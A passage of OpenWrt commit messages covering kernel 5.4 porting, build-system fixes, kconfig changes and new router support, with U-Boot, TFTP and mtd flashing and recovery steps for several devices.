RTC: Ricoh RS5C372A, I2C, no battery
Flash instruction (UART+TFTP):
1. Downgrade the OEM firmware to 1.34 version (BUFFALO_BOOTVER=0.13)
2. Remove any hard drive from inside the bays.
3. Boot the Openwrt initramfs image using the U-Boot serial console:
tftpboot 0x1200000 buffalo_ls421de-initramfs-kernel.bin
bootm 0x1200000
4. Flash the sysupgrade image using the Openwrt console:
sysupgrade -n buffalo_ls421de-squashfs-sysupgrade.bin
5. Wait until it finish, the device will reboot with Openwrt installed
on the NAND flash.
Note:
- Device shuting down doesn't work, even if the power slide switch is
used. We must first, via MDIO, set the unused LED2 at the ethernet
phy0 to off state. Reboot works ok.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Reviewed-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This was introduced with 014d3b98b9 , which
is almost 10 years old. uClibc-ng does not suffer from this problem.
Note that this hack prevents libstdc++ from using C++11 math functions.
Tested by removing all of the mpd patches designed to fix this and
compiling.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Removed sys/cdefs usage. The header is deprecated.
Removed canonicalize_file_name define. It's already fixed upstream.
Added --disable-debuginfod. Seems to be needed.
Modified patch 005 to build more stuff. It was failing before. It still
only builds libraries.
Modified patch 100 to use strerror under non-glibc. It is used under
glibc as strerror is not thread safe. It is under musl and uClibc-ng.
strerror_l is not available under uClibc-ng.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
CONFIG_WRITE functionality is not used and could be removed.
Looks helpful for devices with small flash because wpad is also affected.
Little testing shows that about 6 KB could be saved.
Signed-off-by: Kirill Lukonin <klukonin@gmail.com>
Updates the 88W8964 firmware used in the Linksys WRT3200ACM and WRT32X
[v9.3.2.6 -> v9.3.2.12]
Removes 0c43219 ("mwlwifi: Fix loading with backports v5.3")
as it has been merged upstream.
Unfortunately, there is a bug wherein Kaloz's repo, the version
detection mechanism for fixing vendor commands doesn't work.
It pulls in the Linux kernel version, which as of this time is
"4.14.y" or "4.19.y"
However, the proper behaviour is that it should pull in the mac80211
backports version which as of now is "5.4.27"
The included patch works around this using a backports define found
only on versions >5.3, "VENDOR_CMD_RAW_DATA".
Signed-off-by: Jose Olivera <oliverajeo@gmail.com>
The USB LED assignment to internal ports was swapped.
Fix it.
We also explicitly checked that the LED label numbers match those
on the device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2.4 GHz Wifi on ath79 is set up in 10-ath9k-eeprom, but in ar71xx
it was done with ath79_register_wmac.
Thus, the following errors are observed on the device:
ath: phy1: Unable to initialize hardware; initialization status: -5
ath9k 18100000.wmac: failed to initialize device
ath9k: probe of 18100000.wmac failed with error -5
This patch changes the ath79 support to properly use wmac as well.
This will also require fixing the MAC address in a different way.
Signed-off-by: Guillaume Lefebvre <guillaume@zelig.ch>
[several adjustments to 10-fix-wifi-mac, use correct MAC address,
rewrite commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Including the local build key in /etc/opkg/keys isn't feasible when
building on the buildbot: The included key collides with its copy
already in openwrt-keyring which breaks the ImageBuilder.
Not including a locally generated key also makes the base-files package
more reproducible.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Device with 4 MiB flash and 32 MiB RAM won't be able to run OpenWrt in
a sufficient manner without tweaks, so don't build images for them by
default.
This includes all BCM6338, BCM6345 and BCM6348 "generic" devices,
as there are no supported devices of these with more than that.
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Upstream pinctrl driver in drivers/staging uses
groups/function/ralink,num-gpios instead of
ralink,group/ralink,function/ralink,nr-gpio
Replace these properties in dts as well as the pinctrl driver in
patches-4.14.
This commit is created using:
sed -i 's/ralink,group/groups/g'
sed -i 's/ralink,function/function/g'
sed -i 's/ralink,nr-gpio/ralink,num-gpios/g'
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
previously we rely on the failsafe setup in preinit scripts to disable
built-in switch implicitly for single-port devices. This doesn't work
anymore due to preinit script removal.
this patch explicitly disable built-in switch for needed devices.
Fixes: a8d62a4eb1 ("ramips: remove set_preinit_iface script")
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
current preinit code in base-files doesn't config switch when there are
no port roles defined. But this kind of configuration exists on single
port devices where switch vlan is simply disabled.
configure reset and enable_vlan property when a switch node exist.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
default initramfs for 5.4 kernel is larger than 4M, causing build error
for oversized initramfs image.
disable these images because we have no mechanism for ignoring initramfs
errors and the squashfs image will be larger than initramfs anyway.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
upstream driver merged 3 separated gpio banks into one gpio node.
and gpioX Y in our local driver should be replaced with gpio X*32+Y.
This patch is created using the following sed command:
sed -i -r 's/(.*)gpio([0-9]) ([0-9]+)(.*)/echo "\1gpio $((\2*32+\3))\4"/ge'
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This hack is needed for old ethernet driver:
On mt7620, we have two exposed RGMII ports that connects to builtin
switch. However, swconfig has no way to interact with phy subsystem.
As a result, we have to register both PHYs to ethernet mac instead
and this patch prevents main ethernet interface from going down due
to phy link changes.
Also rename the patch for its actual purpose.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
increase spi frequency for both devices to 45MHz.
while at it, also remove m25p,fast-read for newifi d1 as it's only
needed when spi clock is higher than 50MHz.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
These are boards known to start on 3-byte address mode, which requires
broken-flash-reset if 4B_OPCODES isn't supported by the flash.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Instead of resetting flash to 3B address on remove hook, this
implementation only enters 4B mode when needed, which prevents more
unexpected reboot stuck. This implementation makes it only break when
a kernel panic happens during flash operation on 16M+ areas.
Also silent broken-flash-reset warning. We are not dealing with vendors
and it's unpleasant for users to see that unnecessary and long WARN_ON
print.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
The file /lib/functions/system.sh depends on find_mtd_index() and
find_mtd_part() located in /lib/function.sh, so let's source that
file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The default_postinst() function in /lib/functions.sh sources
/lib/functions/system.sh before cycling through uci-defaults files.
This creates a pseudo-cyclic dependency as system.sh also uses
functions that are located in functions.sh. Despite that, there
is actually only one uci-defaults file in the entire repo that needs
system.sh, and this one contains an explicit source for system.sh
anyway.
Consequently, this patch removes the sourcing of system.sh in
functions.sh. There are no relevant uses in packages, routing and
luci repositories.
This may require adjustments for downstream, though.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target has been on kernel 4.19 for nine months now [1], and
has had testing support for even longer [2].
This should be long enough to drop support for kernel 4.14.
[1] 545bfbc3a9 ("cns3xxx: switch to kernel 4.19")
[2] c6bebe1a94 ("cns3xxx: add support for kernel 4.19")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in
all targets except ramips and also recommended by the kernel.
This patch adjusts the various board/image/device name variables
accordingly. Since we touch it anyway, this also adds the space
in "EdgeRouter X" as a hyphen to those variables to really make
them consistent with the model name.
While at it, create a real shared definition for the devices in
image/mt7621.mk instead of deriving one device from another.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since stable kernel for this target is still 4.14, kernel 4.19
has never been used much (and actually was broken for some devices).
So, since we bump testing kernel to 5.4, there is no real need to
keep 4.19 and have an additional version to care about.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses 5.4 as testing kernel. Since 4.19 has not seen broad
testing yet, just keep 4.14 as stable kernel until 5.4 is ready.
Tested on Comtrend AR-5387un (Thanks to @Noltari).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In kernel patch 92ce7e83b4e5 ("driver_find_device: Unify the match
function with class_find_device()") the arguments of functions used
with driver_find_device are adjusted. Do the same for our local
user.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The helper syscon_regmap_lookup_by_pdevname has been removed in kernel patch
29d14b668d2f ("mfd: Remove unused helper syscon_regmap_lookup_by_pdevname")
due to lack of users.
However, we use this function in our local pinctrl drivers for BCM6358 and
BCM6368. Thus, we have to add it locally.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In kernel 5.4 -Werror=implicit-fallthrough is treated as error:
arch/mips/bcm63xx/cpu.c: In function 'detect_cpu_clock':
arch/mips/bcm63xx/cpu.c:158:2: error: this statement may fall through [-Werror=implicit-fallthrough=]
{
^
arch/mips/bcm63xx/cpu.c:179:2: note: here
case BCM6328_CPU_ID:
^~~~
cc1: all warnings being treated as errors
This can be fixed by adding "Fall through" as a comment where intended,
and has to be fixed by returning a proper default otherwise.
In case of the default clock frequency for BCM6318 we fixed this by
returning the default value taken from BCM6328 and BCM6362.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds two fixes for compilation with kernel 5.4:
1. dev_open from include/linux/netdevice.h needs a second parameter
since kernel 5.0:
00f54e68924e ("net: core: dev: Add extack argument to dev_open()")
2. get_ds() macro definition has been dropped since kernel 5.1:
736706bee329 ("get rid of legacy 'get_ds()' function")
Since get_ds() has been just a macro before, replace it in
the driver instead of creating a version switch.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch follows the other patches that added the watchdog
core to various (armvirt, malta, ath79, ...) targets that
have been hit by the following build error:
Package kmod-hwmon-sch5627 is missing dependencies for the following libraries:
watchdog.ko
In theory, we could have just added the CONFIG_WATCHDOG_CORE=y
to the Kconfig variable of kmod-hwmon-sch5627's package definition.
This would have forced the watchdog core to be builtin and less
architectures would need to be updated. But we might as well follow
through here.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Refresh patches to make them apply to kernel 5.4.
The removed patches have been merged upstream.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Copy config and patches to kernel 5.4.
make kernel_oldconfig has been run on 4.19 beforehand.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since kernel 4.15, init_timer is not available anymore, and has been
replaced by timer_setup. The fixes compilation of wl_linuc.c, which
returned the following errors beforehand (line-wrapped manually):
.../broadcom-wl-5.10.56.27.3/driver/wl_linux.c: In function 'wl_init_timer':
.../broadcom-wl-5.10.56.27.3/driver/wl_linux.c:2576:2: error: implicit
declaration of function 'init_timer'; did you mean 'init_timers'?
[-Werror=implicit-function-declaration]
init_timer(&t->timer);
^~~~~~~~~~
init_timers
.../broadcom-wl-5.10.56.27.3/driver/wl_linux.c:2577:10: error:
'struct timer_list' has no member named 'data'
t->timer.data = (ulong) t;
^
.../broadcom-wl-5.10.56.27.3/driver/wl_linux.c:2578:20: error: assignment
to 'void (*)(struct timer_list *)' from incompatible pointer type
'void (*)(ulong)' {aka 'void (*)(long unsigned int)'}
[-Werror=incompatible-pointer-types]
t->timer.function = wl_timer;
This should fix build of several devices on bcm63xx with testing
kernel (4.19).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
I-O DATA WN-AX2033GR is roughly the same as I-O DATA
WN-AX1167GR2. The difference is Wi-Fi feature.
Specification
=============
- SoC: MediaTek MT7621A
- RAM: DDR3 128 MiB
- Flash Memory: NAND 128 MiB (Spansion S34ML01G200TF100)
- Wi-Fi: MediaTek MT7603E
- Wi-Fi: MediaTek MT7615
- Ethernet: 5x 10 Mbps / 100 Mbps / 1000 Mbps (1x WAN, 4x LAN)
- LED: 2x green LED
- Input: 2x tactile switch, 1x slide switch
- Serial console: 57600bps, PCB through hole J5 (Vcc, TX, RX, NC, GND)
- Power: DC 12V
This device only supports channel 1-13 and 36-140.
Thus, narrower frequency limits compared to other devices are required
for limiting wi-fi frequency correctly.
Without this, non-supported frequencies are activated.
Flash instructions
==================
1. Open the router management page (192.168.0.1).
2. Update router firmware using "initramfs-kernel.bin".
3. After updating, run sysupgrade with "sysupgrade.bin".
Recovery instructions
=====================
WN-AX2033GR contains Zyxel Z-LOADER
1. Setup TFTP server (IP address: 10.10.10.3).
2. Put official firmware into TFTP server directory (distribution site:
https://www.iodata.jp/lib/software/w/2068.htm)
3. Connect WX-AX2033GR Ethernet port and computer that runs TFTP server.
4. Connect to serial console.
5. Interrupt booting by Esc key.
6. Flash firmware using "ATNR 1,[firmware filename]" command.
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
[adjust for kernel 5.4, add recovery instructions/frequency comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit dcf3e63a35.
The kconfig update requires further testing and refinement until it can
remain in tree. Main problems are:
- Recursive deps are now fatal instead of a warning
- Previously legal syntax now leads to hard failures
- It fails all package builds since multiple days
The updated kconfig implementation needs to cope with the current status
quo in the various package feeds before we can reconsider it for master.
It is not desirable that single broken packages can hard-fail the entire
build pipeline.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This reverts commit 3204430e38.
Reverting this commit in preparation for reverting
dcf3e63a35 ("build: scripts/config - update to kconfig-v5.6") which
introduces various unaddressed build breakages.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This reverts commit 8514b6b42c.
Reverting this commit in preparation for reverting
dcf3e63a35 ("build: scripts/config - update to kconfig-v5.6") which
introduces various unaddressed build breakages.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The conditional check introduced by this patch may trigger a NULL pointer
dereference in case the result of dev_net() is NULL.
Since the purpose of this patch is neither sufficiently explained and since
this patch apparently has never been submitted upstream despite it being in
the pending-* patch directory, I propose to drop it without replacement.
If the performance implications of dropping this patch are found to be
significiant, it should be reintroduced with proper description and
benchmark results.
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2943
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This reverts commit c39d01596a.
It turns out the extra files were from an old config and are not
re/created by the new config. Apologies for the noise.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
kconfig-v5.6 disallowed a bool symbol to select another symbol that
'depends on m' (i.e. can be only 'm' on 'n'). It is, in fact, an unmet
dependency to have set to 'y'. However, openwrt depends on the previous
behavior, to be able to build a package that can be a module or built-in
depending on a bool config. This restores the previous behavior.
Ref: https://forum.openwrt.org/t/wireless-fails-on-snapshot-r12900-kernel-5-4-on-c2600-ipq806x
Tested-by: Hannu Nyman <hannu.nyman@iki.fi>
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz> [added forum ref]
Cell C RTL30VW is a LTE router with tho gigabit ethernets and integrated
QMI mPCIE modem.
This is stripped version of ASKEY RTL0030VW.
Hardware:
Specification:
-CPU: IPQ4019
-RAM: 256MB
-Flash: NAND 128MB + NOR 16MB
-WiFi: Integrated bgn/ac
-LTE: mPCIe card (Modem chipset MDM9230)
-LAN: 2 Gigabit Ports
-USB: 2x USB2.0
-Serial console: RJ-45 115200 8n1
-Unsupported VoIP
Known issues:
None so far.
Instruction install:
There are two methods: Factory web-gui and serial + tftp.
Web-gui:
1. Apply factory image via stock web-gui.
Serial + initramfs:
1. Rename OpenWrt initramfs image to "image"
2. Connect serial console (115200,8n1)
3. Set IP to different than 192.168.1.11, but 24 bit mask, eg. 192.168.1.4.
4. U-Boot commands:
sf probe && sf read 0x80000000 0x180000 0x10000
setenv serverip 192.168.1.4
set fdt_high 0x85000000
tftpboot 0x84000000 image
bootm 0x84000000
5. Install sysupgrade image via "sysupgrade -n"
Back to stock:
All is needed is swap 0x4c byte in mtd8 from 0 to 1 or 1 to 0,
do firstboot and factory reset with OFW:
1. read mtd8:
dd if=/dev/mtd8 of=/tmp/mtd8
2. go to tmp:
cd /tmp/
3. write first part of partition:
dd if=mtd8 of=mtd8.new bs=1 count=76
4. check which layout uses bootloader:
cat /proc/mtd
5a. If first are kernel_1 and rootfs_1 write 0:
echo -n -e '\x00' >> mtd8.new
5b. If first are kernel and rootfs write 1:
echo -n -e '\x01' >> mtd8.new
6. fill with rest of data:
dd if=mtd8 bs=1 skip=77 >> mtd8.new
7. CHECK IF mtd8.new HAVE CHANGED ONLY ONE BYTE! e.g with:
hexdump mtd8.new
8. write new mtd8 to flash:
mtd write mtd8.new /dev/mtd8
9. do firstboot
10.reboot
11. Do back to factory defaults in OFW GUI.
Based on work: Cezary Jackiewicz <cezary@eko.one.pl>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
MobiPromo CM520-79F is an AC1300 dual band router based on IPQ4019
Specification:
SoC/Wireless: QCA IPQ4019
RAM: 512MiB
Flash: 128MiB SLC NAND
Ethernet PHY: QCA8075
Ethernet ports: 1x WAN, 2x LAN
LEDs: 7 LEDs
2 (USB, CAN) are GPIO
other 5 (2.4G, 5G, LAN1, LAN2, WAN) are connected to a shift register
Button: Reset
Flash instruction:
Disassemble the router, connect UART pins like this:
GND TX RX
[x x . . x .]
[. . . . . .]
(QCA8075 and IPQ4019 below)
Baud-rate: 115200
Set up TFTP server: IP 192.168.1.188/24
Power on the router and interrupt the booting with UART console
env backup (in case you want to go back to stock and need it there):
printenv
(Copy the output to somewhere save)
Set bootenv:
setenv set_ubi 'set mtdids nand0=nand0; set mtdparts mtdparts=nand0:0x7480000@0xb80000(fs); ubi part fs'
setenv bootkernel 'ubi read 0x84000000 kernel; bootm 0x84000000#config@1'
setenv cm520_boot 'run set_ubi; run bootkernel'
setenv bootcmd 'run cm520_boot'
setenv bootargs
saveenv
Boot initramfs from TFTP:
tftpboot openwrt-ipq40xx-generic-mobipromo_cm520-79f-initramfs-fit-zImage.itb
bootm
After initramfs image is booted, backup rootfs partition in case of reverting to stock image
cat /dev/mtd12 > /tmp/mtd12.bin
Then fetch it via SCP
Upload nand-factory.ubi to /tmp via SCP, then run
mtd erase rootfs
mtd write /tmp/*nand-factory.ubi rootfs
reboot
To revert to stock image, restore default bootenv in uboot UART console
setenv bootcmd 'bootipq'
printenv
use the saved dump you did back when you installed OpenWrt to verify that
there are no other differences from back in the day.
saveenv
upload the backed up mtd12.bin and run
tftpboot mtd12.bin
nand erase 0xb80000 0x7480000
nand write 0x84000000 0xb80000 0x7480000
The BOOTCONFIG may have been configured to boot from alternate partition (rootfs_1) instead
In case of this, set it back to rootfs:
cd /tmp
cat /dev/mtd7 > mtd7.bin
echo -ne '\x0b' | dd of=mtd7.bin conv=notrunc bs=1 count=1 seek=4
for i in 28 48 68 108; do
dd if=/dev/zero of=mtd7.bin conv=notrunc bs=1 count=1 seek=$i
done
mtd write mtd7.bin BOOTCONFIG
mtd write mtd7.bin BOOTCONFIG1
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[renamed volume to ubi to support autoboot,
as per David Lam's test in PR#2432]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
With the "real HZ" debate out of the way, let's actually
use the apm821xx's default upstream config file at
arch/powerpc/configs/44x/bluestone_defconfig. From what
I can tell, it sets NO_HZ (well, this platform was for
NAS, so this is a bit unexpected) and remove any specific
HZ_$VALUE symbol.
Sadly, Daniel Engberg didn't run any before/after netperf
tests, because it would have been such a slam dunk across
the boards. In case of the apm821xx the tcp tx/rx
performance improved ~14% (from 600Mbps to 700Mps).
This now causes the emac to drop frames too, so let's see
if this is causes more problems or not.
This patch includes a refresh of the configuration too.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
"Whoop whoop, sound of da police"
Add an ingress capable traffic policer module configurable with tc.
From the man page:
The police action allows to limit bandwidth of traffic matched by the
filter it is attached to. Basically there are two different algorithms
available to measure the packet rate: The first one uses an internal
dual token bucket and is configured using the rate, burst, mtu,
peakrate, overhead and linklayer parameters. The second one uses an
in-kernel sampling mechanism. It can be fine-tuned using the estimator
filter parameter.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
dcf3e63a35 added a newer kconfig version which produces a bit more local
code output, add that output to the ignore list
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
macos doesn't define a loff_t type, the native off_t type being 64bit
anyway.
Persuade e2fsprogs to accept off_t instead on macos
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This patch adds missed line in 01_leds and fix error:
"/bin/board_detect: /etc/board.d/01_leds: line 93:
syntax error: unexpected ")" (expecting ";;")"
Fixes: c948a47 ("ramips: add support for D-Link DWR-960")
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Update xz to 5.2.5
Disable NLS support to be consistent with other tools such as bison, e2fsprogs
and sed.
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
Update findutils to 4.7.0
Remove patches
Enable pthreads
Disable NLS support to be consistent with other tools such as bison, e2fsprogs
and sed.
Disable selinux support to be consistent with other tools such as sed and tar
Disable rpath as we don't need hardcoded paths
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
2188d81 jail: add support for launching extroot containers
6f3dbd2 jail: add support for userns and cgroupsns
28a06e5 jail: add support for (ram-)overlayfs
Add handling for extroot, overlaydir and tmpoverlaysize as well as
jail flags for userns and cgroupsns to OpenWrt's shell script to
allow their use in init scripts.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Some system not have mkisofs, but have genisoimage or
xorrisofs. They have compatable options for mkisofs,
so let them as alternatives to mkisofs.
Signed-off-by: 李国 <uxgood.org@gmail.com>
grub-bios-setup requires two images (boot.img and core.img),
but they are missing. This make an error during sysupgrade:
Upgrading bootloader on /dev/sda...
grub-bios-setup: error: cannot open `/tmp/boot/boot/grub/boot.img': No
such file or directory.
Signed-off-by: 李国 <uxgood.org@gmail.com>
This symbol had been enabled in the initial device support submission
for kernel 4.14, but apparently got lost during the v4.19 port.
The ASUS Lyra MAP-AC2200 has a single (very bright) rgb LED, which is
controlled by the TI/National LP5523/55231 LED driver chip. It is left
enabled in a pulsating infinite rainbow loop by the bootloader,
expecting it to be reconfigured (disabled by default) after the boot
process has finished and is also required to indicate failsafe/
firstboot conditions.
Signed-off-by: Stefan Lippers-Hollmann <s.l-h@gmx.de>
This addes the option to treat recursive dependencies as warnings
instead of errors, by running make with WARN_RECURSIVE_DEP=1.
Note that the script/config targets will not get rebuilt when you add or
remove WARN_RECURSIVE_DEP while running make. One must run
'make config-clean' before building config with a different setting.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Major changes include:
- Much more readable reverse dependencies separated in groups
- Improved recursive dependency report
- More readable .config files: add comments to signal end of menus
- More warnings for incorrect Config.in entries, such as a 'choice'
default not contained in the 'choice'
- Hability to properly display pseudographics with non-latin locales
- Recursive dependencies are now treated as errors - this should make
it harder for them to creep in.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Instead of passing pkg-config location through a variable when building
qconf (make xconfig), prepend its parent directory to the PATH, as it is
being done for other conf targets.
Use a Makefile pattern rule to group all 'scripts/config/%onf'
(currently conf, mconf, qconf) targets in a single rule. Add -O2 to
CFLAGS when building them as well.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Currently, RTC_SUPPORT is defined as a tristate, with 'depends on m',
which is supposed to only let it be set to 'm' or 'n'. However,
scripts/target-metadata.pl will 'select' it, or setting it to 'y', which
defeats it's 'depends on m' restriction. The users of the symbol are
not expecting it to be necessarily 'm' either, so we can safely use it
as bool.
Newer versions of Linux 'conf' will issue a warning when it detects such
unmet dependencies, and will set it to 'n' instead of 'y', as the
current version does. In all cases, 'm' is never used.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Newer versions of the kconfig program requires quoting the arguments of
the 'source' directive. These are the last ones not using them.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
IPv6 modules should all depend on @IPV6, to avoid circular dependencies
problems, especially if they select a module that depends on IPV6 as
well. In theory, if a package A depends on IPV6, any package doing
'select A' (DEPENDS+= A) should also depend on IPV6; otherwise selecting
A will fail. Sometimes the build system is forgiving this, but
eventually, and unexpectedly, it may blow up on some other commit.
Alternatively one can conditionally add IPv6 dependencies only if
CONFIG_IPV6 is selected: (DEPENDS+= +IPV6:package6).
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
The symvers files of older kernel versions are incompatible with the ones
from 5.4, so changing the kernel version without running make clean was
causing build failures in kernel module packages.
Fix this by moving the directory, ensuring that symvers files get thrown
away with a kernel version change
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Specifications:
- Qualcomm QCA9531 + QCA9886
- dual band, antenna 2*3dBi
- Output power 50mW (17dBm)
- 1x 10/100 Mbps LAN RJ45
- 128 MB RAM / 16 MB FLASH (w25q128)
- 3 LEDs (red/green/blue)
incorporated in
"color wheel reset switch"
- UART 115200 8N1
Flashing instructions:
The U-boot bootloader contains a recovery HTTP server
to upload the firmware. Push the reset button while powering the
device on and keep it pressed for ~10 seconds. The device's LEDs will
blink several times and the recovery page will be at
http://192.168.1.1; use it to upload the sysupgrade image.
Alternatively, the original firmware is based on OpenWrt so a
sysupgrade image can be installed via the stock web GUI. Settings from
the original firmware will be saved and restored on the new one, so a
factory reset will be needed. To do so, once the new firmware is flashed,
enter into failsafe mode by pressing the reset button several times during
the boot process, until it starts flashing. Once in failsafe mode, perform
a factory reset as usual.
LED-Info:
The LEDs on the Comfast stock fw have a very proprietary behaviour,
corresponding to the user selected working mode (AP, ROUTER or REPEATER).
In the first two cases, only blue is used for status and LAN signaling. When
using the latter, blue is always off (except for sysupgrade), either red
signals bad rssi on master-link, or green good. Since the default working
mode of OpenWrt resembles that of a router/AP, the default behavior is
implemented accordingly.
MAC addresses (art partition):
location address (example) use in vendor firmware
0x0 xx:xx:xx:xx:xc:f8 -> eth0
0x6 xx:xx:xx:xx:xc:fa -> wlan5g (+2)
0x1002 xx:xx:xx:xx:xc:f9 -> not used
0x5006 xx:xx:xx:xx:xc:fb -> not used
--- xx:xx:xx:xx:xd:02 -> wlan2g (+10)
The same strange situation has already been observed and documented
for COMFAST CF-E560AC.
Signed-off-by: Roman Hampel <rhamp@arcor.de>
Co-developed-by: Joao Albuquerque <joaohccalbu@gmail.com>
Signed-off-by: Joao Albuquerque <joaohccalbu@gmail.com>
[adjust and extend commit message, rebase, minor DTS adjustments,
add correct MAC address for wmac, change RSSI LED names and behavior]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fixing a build error when CONFIG_KERNEL_KEXEC is enabled:
make[5]: Entering directory '/home/bjorn/tmp/tmp-lede/build_dir/target-mipsel_24kc_musl/linux-ramips_mt7621/linux-5.4.28'
CALL scripts/checksyscalls.sh
CALL scripts/atomic/check-atomics.sh
CHK include/generated/compile.h
CC arch/mips/kernel/machine_kexec.o
arch/mips/kernel/machine_kexec.c: In function 'kexec_nonboot_cpu_jump':
arch/mips/kernel/machine_kexec.c:268:27: error: 'relocate_new_kernel_size' undeclared (first use in this function); did you mean 'kexec_relocate_new_kernel_end'?
reboot_code_buffer + relocate_new_kernel_size);
^~~~~~~~~~~~~~~~~~~~~~~~
kexec_relocate_new_kernel_end
arch/mips/kernel/machine_kexec.c:268:27: note: each undeclared identifier is reported only once for each function it appears in
arch/mips/kernel/machine_kexec.c: In function 'kexec_reboot':
arch/mips/kernel/machine_kexec.c:306:27: error: 'relocate_new_kernel_size' undeclared (first use in this function); did you mean 'kexec_relocate_new_kernel_end'?
reboot_code_buffer + relocate_new_kernel_size);
^~~~~~~~~~~~~~~~~~~~~~~~
kexec_relocate_new_kernel_end
make[7]: *** [scripts/Makefile.build:266: arch/mips/kernel/machine_kexec.o] Error 1
Signed-off-by: Bjørn Mork <bjorn@mork.no>
The NAS packages for Gemini doesn't even include the
block-mount package. Augment the list to be based off
the DEFAULT_PACKAGES.nas to make sure we extend on the
essentials.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Since linux kernel commit 0768e17073dc527ccd18ed5f96ce85f9985e9115
(2019-04-19) the asm-generic/sockios.h header no longer defines
SIOCGSTAMP. Instead it provides only SIOCGSTAMP_OLD.
The linux/sockios.h header now defines SIOCGSTAMP using either
SIOCGSTAMP_OLD or SIOCGSTAMP_NEW as appropriate. This linux only
header file is not included so we get a build failure.
Signed-off-by: Norbert van Bolhuis <nvbolhuis@aimvalley.nl>
ipq806x has been tested for a lot and lots of people reported good results.
Switch the main kernel to 5.4 following the other targets.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq8065, NBG6817]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
MAC addresses of the ethernet devices (eth0 & eth1) are randomly set at
boot time by the ag71xx driver, because it is currently not possible to
retrieve MAC addresses in ASCII format within the DTS file.
This commit works around this behaviour by setting the MAC addresses
during the preinit phase.
The same has been implemented recently for the Siemens WS-AP3610 in
d2b8ccb1c0 ("ath79: add support for Siemens WS-AP3610").
MAC assignment in vendor firmware is as follows:
use vendor address OpenWrt
2g wifi0 ethaddr -> wlan1
5g wifi1 ethaddr +1 -> wlan0
lan eth1 ethaddr +2 -> eth0
wan eth0 ethaddr +3 -> eth1
ethaddr is retrieved by $(mtd_get_mac_ascii u-boot-env ethaddr)
Note that both Wifi and ethernet indexing is swapped in OpenWrt
compared to vendor firmware.
Suggested-by: Guillaume Lefebvre <guillaume@zelig.ch>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Kevin Gagnon <kevin_gagnon@videotron.ca>
This commit add patch with 14c3:7610 pci id addition.
It was sent upstream.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[bumped PKG_RELEASE]
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
At this moment mt7620 ethernet driver doesn't support rgmii delays
configuration. SoC MT7620 have bits 2 and 3 in GPC1 an GPC2 to configure
